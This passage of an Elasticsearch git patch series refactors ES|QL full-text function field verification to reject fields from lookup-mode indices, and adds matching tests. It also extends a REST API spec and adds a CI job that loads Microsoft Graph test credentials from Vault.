-        var CreateRequest = client.prepareCreate(indexName)
+        var createRequest = client.prepareCreate(indexName)
             .setSettings(Settings.builder().put("index.number_of_shards", 1))
             .setMapping("id", "type=integer", "content", "type=text");
-        assertAcked(CreateRequest);
+        assertAcked(createRequest);
         client().prepareBulk()
             .add(new IndexRequest(indexName).id("1").source("id", 1, "content", "This is a brown fox"))
             .add(new IndexRequest(indexName).id("2").source("id", 2, "content", "This is a brown dog"))
@@ -310,6 +329,17 @@ private void createAndPopulateIndex() {
             .add(new IndexRequest(indexName).id("6").source("id", 6, "content", "The quick brown fox jumps over the lazy dog"))
             .setRefreshPolicy(WriteRequest.RefreshPolicy.IMMEDIATE)
             .get();
-        ensureYellow(indexName);
+
+        var lookupIndexName = "test_lookup";
+        createAndPopulateLookupIndex(client, lookupIndexName);
+
+        ensureYellow.accept(new String[] { indexName, lookupIndexName });
+    }
+
+    static void createAndPopulateLookupIndex(IndicesAdminClient client, String lookupIndexName) {
+        var createRequest = client.prepareCreate(lookupIndexName)
+            .setSettings(Settings.builder().put("index.number_of_shards", 1).put("index.mode", "lookup"))
+            .setMapping("id", "type=integer", "lookup_content", "type=text");
+        assertAcked(createRequest);
     }
 }
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/MatchOperatorIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/MatchOperatorIT.java
index 5a87a4b4302c4..efad0f92ae967 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/MatchOperatorIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/MatchOperatorIT.java
@@ -8,9 +8,6 @@
 package org.elasticsearch.xpack.esql.plugin;
 
 import org.elasticsearch.ElasticsearchException;
-import org.elasticsearch.action.index.IndexRequest;
-import org.elasticsearch.action.support.WriteRequest;
-import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.index.query.QueryBuilder;
 import org.elasticsearch.index.query.QueryBuilders;
 import org.elasticsearch.xpack.esql.VerificationException;
@@ -21,7 +18,6 @@
 
 import static org.elasticsearch.index.query.QueryBuilders.boolQuery;
 import static org.elasticsearch.index.query.QueryBuilders.matchQuery;
-import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked;
 import static org.elasticsearch.xpack.esql.action.EsqlQueryRequest.syncEsqlQueryRequest;
 import static org.hamcrest.CoreMatchers.containsString;
 
@@ -30,7 +26,7 @@ public class MatchOperatorIT extends AbstractEsqlIntegTestCase {
 
     @Before
     public void setupIndex() {
-        createAndPopulateIndex();
+        MatchFunctionIT.createAndPopulateIndex(this::ensureYellow);
     }
 
     public void testSimpleWhereMatch() {
@@ -372,22 +368,20 @@ public void testMatchWithNonTextField() {
         }
     }
 
-    private void createAndPopulateIndex() {
-        var indexName = "test";
-        var client = client().admin().indices();
-        var CreateRequest = client.prepareCreate(indexName)
-            .setSettings(Settings.builder().put("index.number_of_shards", 1))
-            .setMapping("id", "type=integer", "content", "type=text");
-        assertAcked(CreateRequest);
-        client().prepareBulk()
-            .add(new IndexRequest(indexName).id("1").source("id", 1, "content", "This is a brown fox"))
-            .add(new IndexRequest(indexName).id("2").source("id", 2, "content", "This is a brown dog"))
-            .add(new IndexRequest(indexName).id("3").source("id", 3, "content", "This dog is really brown"))
-            .add(new IndexRequest(indexName).id("4").source("id", 4, "content", "The dog is brown but this document is very very long"))
-            .add(new IndexRequest(indexName).id("5").source("id", 5, "content", "There is also a white cat"))
-            .add(new IndexRequest(indexName).id("6").source("id", 6, "content", "The quick brown fox jumps over the lazy dog"))
-            .setRefreshPolicy(WriteRequest.RefreshPolicy.IMMEDIATE)
-            .get();
-        ensureYellow(indexName);
+    public void testMatchOperatorWithLookupJoin() {
+        var query = """
+            FROM test
+            | LOOKUP JOIN test_lookup ON id
+            | WHERE id > 0 AND lookup_content : "fox"
+            """;
+
+        var error = expectThrows(VerificationException.class, () -> run(query));
+        assertThat(
+            error.getMessage(),
+            containsString(
+                "line 3:20: [:] operator cannot operate on [lookup_content], supplied by an index [test_lookup] "
+                    + "in non-STANDARD mode [lookup]"
+            )
+        );
     }
 }
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/MatchPhraseFunctionIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/MatchPhraseFunctionIT.java
index 44f28e0c9ea93..f269fc7d2bd46 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/MatchPhraseFunctionIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/MatchPhraseFunctionIT.java
@@ -8,9 +8,6 @@
 package org.elasticsearch.xpack.esql.plugin;
 
 import org.elasticsearch.ElasticsearchException;
-import org.elasticsearch.action.index.IndexRequest;
-import org.elasticsearch.action.support.WriteRequest;
-import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.xpack.esql.VerificationException;
 import org.elasticsearch.xpack.esql.action.AbstractEsqlIntegTestCase;
 import org.hamcrest.Matchers;
@@ -19,8 +16,8 @@
 import java.util.Collections;
 import java.util.List;
 
-import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked;
 import static org.elasticsearch.xpack.esql.EsqlTestUtils.getValuesList;
+import static org.elasticsearch.xpack.esql.plugin.MatchFunctionIT.createAndPopulateIndex;
 import static org.hamcrest.CoreMatchers.containsString;
 
 //@TestLogging(value = "org.elasticsearch.xpack.esql:TRACE,org.elasticsearch.compute:TRACE", reason = "debug")
@@ -28,7 +25,7 @@ public class MatchPhraseFunctionIT extends AbstractEsqlIntegTestCase {
 
     @Before
     public void setupIndex() {
-        createAndPopulateIndex();
+        createAndPopulateIndex(this::ensureYellow);
     }
 
     public void testSimpleWhereMatchPhrase() {
@@ -325,22 +322,20 @@ public void testMatchPhraseWithinEval() {
         assertThat(error.getMessage(), containsString("[MatchPhrase] function is only supported in WHERE and STATS commands"));
     }
 
-    private void createAndPopulateIndex() {
-        var indexName = "test";
-        var client = client().admin().indices();
-        var CreateRequest = client.prepareCreate(indexName)
-            .setSettings(Settings.builder().put("index.number_of_shards", 1))
-            .setMapping("id", "type=integer", "content", "type=text");
-        assertAcked(CreateRequest);
-        client().prepareBulk()
-            .add(new IndexRequest(indexName).id("1").source("id", 1, "content", "This is a brown fox"))
-            .add(new IndexRequest(indexName).id("2").source("id", 2, "content", "This is a brown dog"))
-            .add(new IndexRequest(indexName).id("3").source("id", 3, "content", "This dog is really brown"))
-            .add(new IndexRequest(indexName).id("4").source("id", 4, "content", "The dog is brown but this document is very very long"))
-            .add(new IndexRequest(indexName).id("5").source("id", 5, "content", "There is also a white cat"))
-            .add(new IndexRequest(indexName).id("6").source("id", 6, "content", "The quick brown fox jumps over the lazy dog"))
-            .setRefreshPolicy(WriteRequest.RefreshPolicy.IMMEDIATE)
-            .get();
-        ensureYellow(indexName);
+    public void testMatchPhraseWithLookupJoin() {
+        var query = """
+            FROM test
+            | LOOKUP JOIN test_lookup ON id
+            | WHERE id > 0 AND MATCH_PHRASE(lookup_content, "fox")
+            """;
+
+        var error = expectThrows(VerificationException.class, () -> run(query));
+        assertThat(
+            error.getMessage(),
+            containsString(
+                "line 3:33: [MatchPhrase] function cannot operate on [lookup_content], supplied by an index [test_lookup] "
+                    + "in non-STANDARD mode [lookup]"
+            )
+        );
     }
 }
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/QueryStringIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/QueryStringIT.java
index aba0a5f4a5b97..d241580545c31 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/QueryStringIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/QueryStringIT.java
@@ -16,15 +16,17 @@
 import org.junit.Before;
 
 import java.util.List;
+import java.util.function.Consumer;
 
 import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked;
+import static org.elasticsearch.xpack.esql.plugin.MatchFunctionIT.createAndPopulateLookupIndex;
 import static org.hamcrest.CoreMatchers.containsString;
 
 public class QueryStringIT extends AbstractEsqlIntegTestCase {
 
     @Before
     public void setupIndex() {
-        createAndPopulateIndex();
+        createAndPopulateIndex(this::ensureYellow);
     }
 
     public void testSimpleQueryString() {
@@ -91,7 +93,7 @@ public void testInvalidQueryStringLexicalError() {
         );
     }
 
-    private void createAndPopulateIndex() {
+    static void createAndPopulateIndex(Consumer<String[]> ensureYellow) {
         var indexName = "test";
         var client = client().admin().indices();
         var CreateRequest = client.prepareCreate(indexName)
@@ -135,7 +137,11 @@ private void createAndPopulateIndex() {
             )
             .setRefreshPolicy(WriteRequest.RefreshPolicy.IMMEDIATE)
             .get();
-        ensureYellow(indexName);
+
+        var lookupIndexName = "test_lookup";
+        createAndPopulateLookupIndex(client, lookupIndexName);
+
+        ensureYellow.accept(new String[] { indexName, lookupIndexName });
     }
 
     public void testWhereQstrWithScoring() {
@@ -228,4 +234,15 @@ AND abs(id) > 0
             assertValuesInAnyOrder(resp.values(), List.of(List.of(5, 1.0), List.of(4, 1.0)));
         }
     }
+
+    public void testWhereQstrWithLookupJoin() {
+        var query = """
+            FROM test
+            | LOOKUP JOIN test_lookup ON id
+            | WHERE id > 0 AND QSTR("lookup_content: fox")
+            """;
+
+        var error = expectThrows(VerificationException.class, () -> run(query));
+        assertThat(error.getMessage(), containsString("line 3:3: [QSTR] function cannot be used after LOOKUP"));
+    }
 }
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/TermIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/TermIT.java
index 9afefca5eed6e..a56dec2ff4883 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/TermIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/plugin/TermIT.java
@@ -7,9 +7,6 @@
 
 package org.elasticsearch.xpack.esql.plugin;
 
-import org.elasticsearch.action.index.IndexRequest;
-import org.elasticsearch.action.support.WriteRequest;
-import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.xpack.esql.VerificationException;
 import org.elasticsearch.xpack.esql.action.AbstractEsqlIntegTestCase;
 import org.elasticsearch.xpack.esql.action.EsqlCapabilities;
@@ -19,14 +16,14 @@
 
 import java.util.List;
 
-import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked;
+import static org.elasticsearch.xpack.esql.plugin.QueryStringIT.createAndPopulateIndex;
 import static org.hamcrest.CoreMatchers.containsString;
 
 public class TermIT extends AbstractEsqlIntegTestCase {
 
     @Before
     public void setupIndex() {
-        createAndPopulateIndex();
+        createAndPopulateIndex(this::ensureYellow);
     }
 
     @Override
@@ -90,50 +87,20 @@ public void testNotWhereTerm() {
         }
     }
 
-    private void createAndPopulateIndex() {
-        var indexName = "test";
-        var client = client().admin().indices();
-        var CreateRequest = client.prepareCreate(indexName)
-            .setSettings(Settings.builder().put("index.number_of_shards", 1))
-            .setMapping("id", "type=integer", "content", "type=text");
-        assertAcked(CreateRequest);
-        client().prepareBulk()
-            .add(
-                new IndexRequest(indexName).id("1")
-                    .source("id", 1, "content", "The quick brown animal swiftly jumps over a lazy dog", "title", "A Swift Fox's Journey")
-            )
-            .add(
-                new IndexRequest(indexName).id("2")
-                    .source("id", 2, "content", "A speedy brown fox hops effortlessly over a sluggish canine", "title", "The Fox's Leap")
-            )
-            .add(
-                new IndexRequest(indexName).id("3")
-                    .source("id", 3, "content", "Quick and nimble, the fox vaults over the lazy dog", "title", "Brown Fox in Action")
-            )
-            .add(
-                new IndexRequest(indexName).id("4")
-                    .source(
-                        "id",
-                        4,
-                        "content",
-                        "A fox that is quick and brown jumps over a dog that is quite lazy",
-                        "title",
-                        "Speedy Animals"
-                    )
-            )
-            .add(
-                new IndexRequest(indexName).id("5")
-                    .source(
-                        "id",
-                        5,
-                        "content",
-                        "With agility, a quick brown fox bounds over a slow-moving dog",
-                        "title",
-                        "Foxes and Canines"
-                    )
+    public void testTermWithLookupJoin() {
+        var query = """
+            FROM test
+            | LOOKUP JOIN test_lookup ON id
+            | WHERE id > 0 AND TERM(lookup_content, "fox")
+            """;
+
+        var error = expectThrows(VerificationException.class, () -> run(query));
+        assertThat(
+            error.getMessage(),
+            containsString(
+                "line 3:25: [Term] function cannot operate on [lookup_content], supplied by an index [test_lookup] "
+                    + "in non-STANDARD mode [lookup]"
             )
-            .setRefreshPolicy(WriteRequest.RefreshPolicy.IMMEDIATE)
-            .get();
-        ensureYellow(indexName);
+        );
     }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/FullTextFunction.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/FullTextFunction.java
index 5510fbddd27c7..ec29b4b658c76 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/FullTextFunction.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/FullTextFunction.java
@@ -14,6 +14,7 @@
 import org.elasticsearch.compute.lucene.LuceneQueryScoreEvaluator;
 import org.elasticsearch.compute.operator.EvalOperator;
 import org.elasticsearch.compute.operator.ScoreOperator;
+import org.elasticsearch.index.IndexMode;
 import org.elasticsearch.index.query.QueryBuilder;
 import org.elasticsearch.xpack.esql.capabilities.PostAnalysisPlanVerificationAware;
 import org.elasticsearch.xpack.esql.capabilities.TranslationAware;
@@ -314,6 +315,45 @@ private static FullTextFunction forEachFullTextFunctionParent(Expression conditi
         return null;
     }
 
+    public static void fieldVerifier(LogicalPlan plan, FullTextFunction function, Expression field, Failures failures) {
+        var fieldAttribute = fieldAsFieldAttribute(field);
+        if (fieldAttribute == null) {
+            plan.forEachExpression(function.getClass(), m -> {
+                if (function.children().contains(field)) {
+                    failures.add(
+                        fail(
+                            field,
+                            "[{}] {} cannot operate on [{}], which is not a field from an index mapping",
+                            m.functionName(),
+                            m.functionType(),
+                            field.sourceText()
+                        )
+                    );
+                }
+            });
+        } else {
+            // Traverse the plan to find the EsRelation outputting the field
+            plan.forEachDown(p -> {
+                if (p instanceof EsRelation esRelation && esRelation.indexMode() != IndexMode.STANDARD) {
+                    // Check if this EsRelation supplies the field
+                    if (esRelation.outputSet().contains(fieldAttribute)) {
+                        failures.add(
+                            fail(
+                                field,
+                                "[{}] {} cannot operate on [{}], supplied by an index [{}] in non-STANDARD mode [{}]",
+                                function.functionName(),
+                                function.functionType(),
+                                field.sourceText(),
+                                esRelation.indexPattern(),
+                                esRelation.indexMode()
+                            )
+                        );
+                    }
+                }
+            });
+        }
+    }
+
     @Override
     public EvalOperator.ExpressionEvaluator.Factory toEvaluator(ToEvaluator toEvaluator) {
         List<EsPhysicalOperationProviders.ShardContext> shardContexts = toEvaluator.shardContexts();
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/Match.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/Match.java
index 53aa87f4b861a..e6d99d158aaaf 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/Match.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/Match.java
@@ -15,7 +15,6 @@
 import org.elasticsearch.common.unit.Fuzziness;
 import org.elasticsearch.index.query.QueryBuilder;
 import org.elasticsearch.xpack.esql.capabilities.PostAnalysisPlanVerificationAware;
-import org.elasticsearch.xpack.esql.common.Failure;
 import org.elasticsearch.xpack.esql.common.Failures;
 import org.elasticsearch.xpack.esql.core.InvalidArgumentException;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
@@ -393,19 +392,7 @@ public Expression replaceQueryBuilder(QueryBuilder queryBuilder) {
     public BiConsumer<LogicalPlan, Failures> postAnalysisPlanVerification() {
         return (plan, failures) -> {
             super.postAnalysisPlanVerification().accept(plan, failures);
-            plan.forEachExpression(Match.class, m -> {
-                if (m.fieldAsFieldAttribute() == null) {
-                    failures.add(
-                        Failure.fail(
-                            m.field(),
-                            "[{}] {} cannot operate on [{}], which is not a field from an index mapping",
-                            functionName(),
-                            functionType(),
-                            m.field().sourceText()
-                        )
-                    );
-                }
-            });
+            fieldVerifier(plan, this, field, failures);
         };
     }
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/MatchPhrase.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/MatchPhrase.java
index 134096460a3d7..4a99227576611 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/MatchPhrase.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/MatchPhrase.java
@@ -13,7 +13,6 @@
 import org.elasticsearch.common.io.stream.StreamOutput;
 import org.elasticsearch.index.query.QueryBuilder;
 import org.elasticsearch.xpack.esql.capabilities.PostAnalysisPlanVerificationAware;
-import org.elasticsearch.xpack.esql.common.Failure;
 import org.elasticsearch.xpack.esql.common.Failures;
 import org.elasticsearch.xpack.esql.core.InvalidArgumentException;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
@@ -60,10 +59,8 @@
 import static org.elasticsearch.xpack.esql.core.type.DataType.DATE_NANOS;
 import static org.elasticsearch.xpack.esql.core.type.DataType.FLOAT;
 import static org.elasticsearch.xpack.esql.core.type.DataType.INTEGER;
-import static org.elasticsearch.xpack.esql.core.type.DataType.IP;
 import static org.elasticsearch.xpack.esql.core.type.DataType.KEYWORD;
 import static org.elasticsearch.xpack.esql.core.type.DataType.TEXT;
-import static org.elasticsearch.xpack.esql.core.type.DataType.VERSION;
 
 /**
  * Full text function that performs a {@link org.elasticsearch.xpack.esql.querydsl.query.MatchPhraseQuery} .
@@ -252,19 +249,7 @@ public Expression replaceQueryBuilder(QueryBuilder queryBuilder) {
     public BiConsumer<LogicalPlan, Failures> postAnalysisPlanVerification() {
         return (plan, failures) -> {
             super.postAnalysisPlanVerification().accept(plan, failures);
-            plan.forEachExpression(MatchPhrase.class, mp -> {
-                if (mp.fieldAsFieldAttribute() == null) {
-                    failures.add(
-                        Failure.fail(
-                            mp.field(),
-                            "[{}] {} cannot operate on [{}], which is not a field from an index mapping",
-                            functionName(),
-                            functionType(),
-                            mp.field().sourceText()
-                        )
-                    );
-                }
-            });
+            FullTextFunction.fieldVerifier(plan, this, field, failures);
         };
     }
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/Term.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/Term.java
index 94de3d33251d8..76188dc146ee6 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/Term.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/Term.java
@@ -13,7 +13,6 @@
 import org.elasticsearch.common.io.stream.StreamOutput;
 import org.elasticsearch.index.query.QueryBuilder;
 import org.elasticsearch.xpack.esql.capabilities.PostAnalysisPlanVerificationAware;
-import org.elasticsearch.xpack.esql.common.Failure;
 import org.elasticsearch.xpack.esql.common.Failures;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
 import org.elasticsearch.xpack.esql.core.expression.FieldAttribute;
@@ -112,19 +111,7 @@ private TypeResolution resolveField() {
     public BiConsumer<LogicalPlan, Failures> postAnalysisPlanVerification() {
         return (plan, failures) -> {
             super.postAnalysisPlanVerification().accept(plan, failures);
-            plan.forEachExpression(Term.class, t -> {
-                if (t.field() instanceof FieldAttribute == false) { // TODO: is a conversion possible, similar to Match’s case?
-                    failures.add(
-                        Failure.fail(
-                            t.field(),
-                            "[{}] {} cannot operate on [{}], which is not a field from an index mapping",
-                            t.functionName(),
-                            t.functionType(),
-                            t.field().sourceText()
-                        )
-                    );
-                }
-            });
+            fieldVerifier(plan, this, field, failures);
         };
     }
 
@@ -157,6 +144,7 @@ public Expression field() {
         return field;
     }
 
+    // TODO: method can be dropped, to allow failure messages contain the capitalized function name, aligned with similar functions/classes
     @Override
     public String functionName() {
         return ENTRY.name;
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/vector/Knn.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/vector/Knn.java
index ecce0b069693d..df1542a2c292c 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/vector/Knn.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/vector/Knn.java
@@ -11,6 +11,8 @@
 import org.elasticsearch.common.io.stream.StreamInput;
 import org.elasticsearch.common.io.stream.StreamOutput;
 import org.elasticsearch.index.query.QueryBuilder;
+import org.elasticsearch.xpack.esql.capabilities.PostAnalysisPlanVerificationAware;
+import org.elasticsearch.xpack.esql.common.Failures;
 import org.elasticsearch.xpack.esql.core.InvalidArgumentException;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
 import org.elasticsearch.xpack.esql.core.expression.FoldContext;
@@ -31,6 +33,7 @@
 import org.elasticsearch.xpack.esql.expression.function.fulltext.FullTextFunction;
 import org.elasticsearch.xpack.esql.expression.function.fulltext.Match;
 import org.elasticsearch.xpack.esql.io.stream.PlanStreamInput;
+import org.elasticsearch.xpack.esql.plan.logical.LogicalPlan;
 import org.elasticsearch.xpack.esql.planner.TranslatorHandler;
 import org.elasticsearch.xpack.esql.querydsl.query.KnnQuery;
 
@@ -39,6 +42,7 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Objects;
+import java.util.function.BiConsumer;
 
 import static java.util.Map.entry;
 import static org.elasticsearch.index.query.AbstractQueryBuilder.BOOST_FIELD;
@@ -55,9 +59,8 @@
 import static org.elasticsearch.xpack.esql.core.type.DataType.DENSE_VECTOR;
 import static org.elasticsearch.xpack.esql.core.type.DataType.FLOAT;
 import static org.elasticsearch.xpack.esql.core.type.DataType.INTEGER;
-import static org.elasticsearch.xpack.esql.expression.function.fulltext.Match.getNameFromFieldAttribute;
 
-public class Knn extends FullTextFunction implements OptionalArgument, VectorFunction {
+public class Knn extends FullTextFunction implements OptionalArgument, VectorFunction, PostAnalysisPlanVerificationAware {
 
     public static final NamedWriteableRegistry.Entry ENTRY = new NamedWriteableRegistry.Entry(Expression.class, "Knn", Knn::readFrom);
 
@@ -235,6 +238,14 @@ private Map<String, Object> queryOptions() throws InvalidArgumentException {
         return options;
     }
 
+    @Override
+    public BiConsumer<LogicalPlan, Failures> postAnalysisPlanVerification() {
+        return (plan, failures) -> {
+            super.postAnalysisPlanVerification().accept(plan, failures);
+            fieldVerifier(plan, this, field, failures);
+        };
+    }
+
     @Override
     public Expression replaceChildren(List<Expression> newChildren) {
         return new Knn(

From f093d7dfb2332e00496644d10b5926c9a0aa3d27 Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Mon, 7 Jul 2025 17:21:21 +0400
Subject: [PATCH 080/299] Add flat_settings and settings_filter to
 cluster.get_component_template (#130684) (#130713)

---
 .../rest-api-spec/api/cluster.get_component_template.json | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/cluster.get_component_template.json b/rest-api-spec/src/main/resources/rest-api-spec/api/cluster.get_component_template.json
index def0cc5fb8bb0..9badbb9b092a4 100644
--- a/rest-api-spec/src/main/resources/rest-api-spec/api/cluster.get_component_template.json
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/cluster.get_component_template.json
@@ -44,6 +44,14 @@
       "include_defaults":{
         "type":"boolean",
         "description":"Return all default configurations for the component template (default: false)"
+      },
+      "flat_settings":{
+        "type":"boolean",
+        "description":"Return settings in flat format (default: false)"
+      },
+      "settings_filter":{
+        "type":"string",
+        "description":"Filter out results, for example to filter out sensitive information. Supports wildcards or full settings keys"
       }
     }
   }

From 33feecd2d28f52025480098df82180473a5a211c Mon Sep 17 00:00:00 2001
From: Richard Dennehy <richard.dennehy@elastic.co>
Date: Mon, 7 Jul 2025 15:05:16 +0100
Subject: [PATCH 081/299] add MS Graph third party tests to periodic tests job
 (#130380) (#130718)

---
 .buildkite/pipelines/periodic.template.yml    | 11 +++++
 .buildkite/pipelines/periodic.yml             | 11 +++++
 .../scripts/third-party-test-credentials.sh   | 17 ++++++++
 .../microsoft-graph-authz-tests/build.gradle  | 27 +++++++++++++
 .../MicrosoftGraphAuthzPluginIT.java          | 40 ++++++++++++-------
 5 files changed, 92 insertions(+), 14 deletions(-)

diff --git a/.buildkite/pipelines/periodic.template.yml b/.buildkite/pipelines/periodic.template.yml
index 2ed6528f710c1..68b7bc7e510ab 100644
--- a/.buildkite/pipelines/periodic.template.yml
+++ b/.buildkite/pipelines/periodic.template.yml
@@ -204,6 +204,17 @@ steps:
           image: family/elasticsearch-ubuntu-2404
           machineType: n2-standard-8
           buildDirectory: /dev/shm/bk
+      - label: third-party / ms-graph
+        command: |
+          .ci/scripts/run-gradle.sh msGraphThirdPartyTest
+        env:
+          USE_3RD_PARTY_MS_GRAPH_CREDENTIALS: "true"
+        timeout_in_minutes: 30
+        agents:
+          provider: gcp
+          image: family/elasticsearch-ubuntu-2404
+          machineType: n2-standard-8
+          buildDirectory: /dev/shm/bk
   - group: lucene-compat
     steps:
       - label: "{{matrix.LUCENE_VERSION}} / lucene-compat"
diff --git a/.buildkite/pipelines/periodic.yml b/.buildkite/pipelines/periodic.yml
index 5c6af6ba91a55..65b955354171d 100644
--- a/.buildkite/pipelines/periodic.yml
+++ b/.buildkite/pipelines/periodic.yml
@@ -623,6 +623,17 @@ steps:
           image: family/elasticsearch-ubuntu-2404
           machineType: n2-standard-8
           buildDirectory: /dev/shm/bk
+      - label: third-party / ms-graph
+        command: |
+          .ci/scripts/run-gradle.sh msGraphThirdPartyTest
+        env:
+          USE_3RD_PARTY_MS_GRAPH_CREDENTIALS: "true"
+        timeout_in_minutes: 30
+        agents:
+          provider: gcp
+          image: family/elasticsearch-ubuntu-2404
+          machineType: n2-standard-8
+          buildDirectory: /dev/shm/bk
   - group: lucene-compat
     steps:
       - label: "{{matrix.LUCENE_VERSION}} / lucene-compat"
diff --git a/.buildkite/scripts/third-party-test-credentials.sh b/.buildkite/scripts/third-party-test-credentials.sh
index 53492bc4b12b5..eaf4fc89d3263 100755
--- a/.buildkite/scripts/third-party-test-credentials.sh
+++ b/.buildkite/scripts/third-party-test-credentials.sh
@@ -48,6 +48,23 @@ if [[ "${USE_3RD_PARTY_GCS_CREDENTIALS:-}" == "true" ]]; then
   .buildkite/scripts/third-party-test-credentials.gcs.sh "$google_storage_service_account"
 fi
 
+if [[ "${USE_3RD_PARTY_MS_GRAPH_CREDENTIALS:-}" == "true" ]]; then
+  json=$(vault read -format=json secret/ci/elastic-elasticsearch/ms_graph_thirdparty_test_creds)
 
+  MS_GRAPH_TENANT_ID=$(echo "$json" | jq -r .data.tenant_id)
+  export ms_graph_tenant_id="$MS_GRAPH_TENANT_ID"
+
+  MS_GRAPH_CLIENT_ID=$(echo "$json" | jq -r .data.client_id)
+  export ms_graph_client_id="$MS_GRAPH_CLIENT_ID"
+
+  MS_GRAPH_CLIENT_SECRET=$(echo "$json" | jq -r .data.client_secret)
+  export ms_graph_client_secret="$MS_GRAPH_CLIENT_SECRET"
+
+  MS_GRAPH_USERNAME=$(echo "$json" | jq -r .data.username)
+  export ms_graph_username="$MS_GRAPH_USERNAME"
+
+  MS_GRAPH_GROUP_ID=$(echo "$json" | jq -r .data.group_id)
+  export ms_graph_group_id="$MS_GRAPH_GROUP_ID"
+fi
 
 unset json
diff --git a/x-pack/plugin/security/qa/microsoft-graph-authz-tests/build.gradle b/x-pack/plugin/security/qa/microsoft-graph-authz-tests/build.gradle
index f949902c68079..1fd93d730f54f 100644
--- a/x-pack/plugin/security/qa/microsoft-graph-authz-tests/build.gradle
+++ b/x-pack/plugin/security/qa/microsoft-graph-authz-tests/build.gradle
@@ -8,7 +8,34 @@ dependencies {
   clusterModules project(":modules:analysis-common")
 }
 
+boolean useFixture = false
+String msGraphTenantId = System.getenv("ms_graph_tenant_id")
+String msGraphClientId = System.getenv("ms_graph_client_id")
+String msGraphClientSecret = System.getenv("ms_graph_client_secret")
+String msGraphUsername = System.getenv("ms_graph_username")
+String msGraphGroupId = System.getenv("ms_graph_group_id")
+
+if (!msGraphTenantId || !msGraphClientId || !msGraphClientSecret || !msGraphUsername || !msGraphGroupId) {
+  msGraphTenantId = "tenant-id"
+  msGraphClientId = "client_id"
+  msGraphClientSecret = "client_secret"
+  msGraphUsername = "Thor"
+  msGraphGroupId = "test_group"
+  useFixture = true
+}
+
 tasks.named("javaRestTest").configure {
+  systemProperty "test.ms_graph.fixture", useFixture
+  systemProperty "test.ms_graph.tenant_id", msGraphTenantId
+  systemProperty "test.ms_graph.client_id", msGraphClientId
+  systemProperty "test.ms_graph.client_secret", msGraphClientSecret
+  systemProperty "test.ms_graph.username", msGraphUsername
+  systemProperty "test.ms_graph.group_id", msGraphGroupId
+
   // disable tests in FIPS mode as we need to use a custom truststore containing the certs used in MicrosoftGraphHttpFixture
   buildParams.withFipsEnabledOnly(it)
 }
+
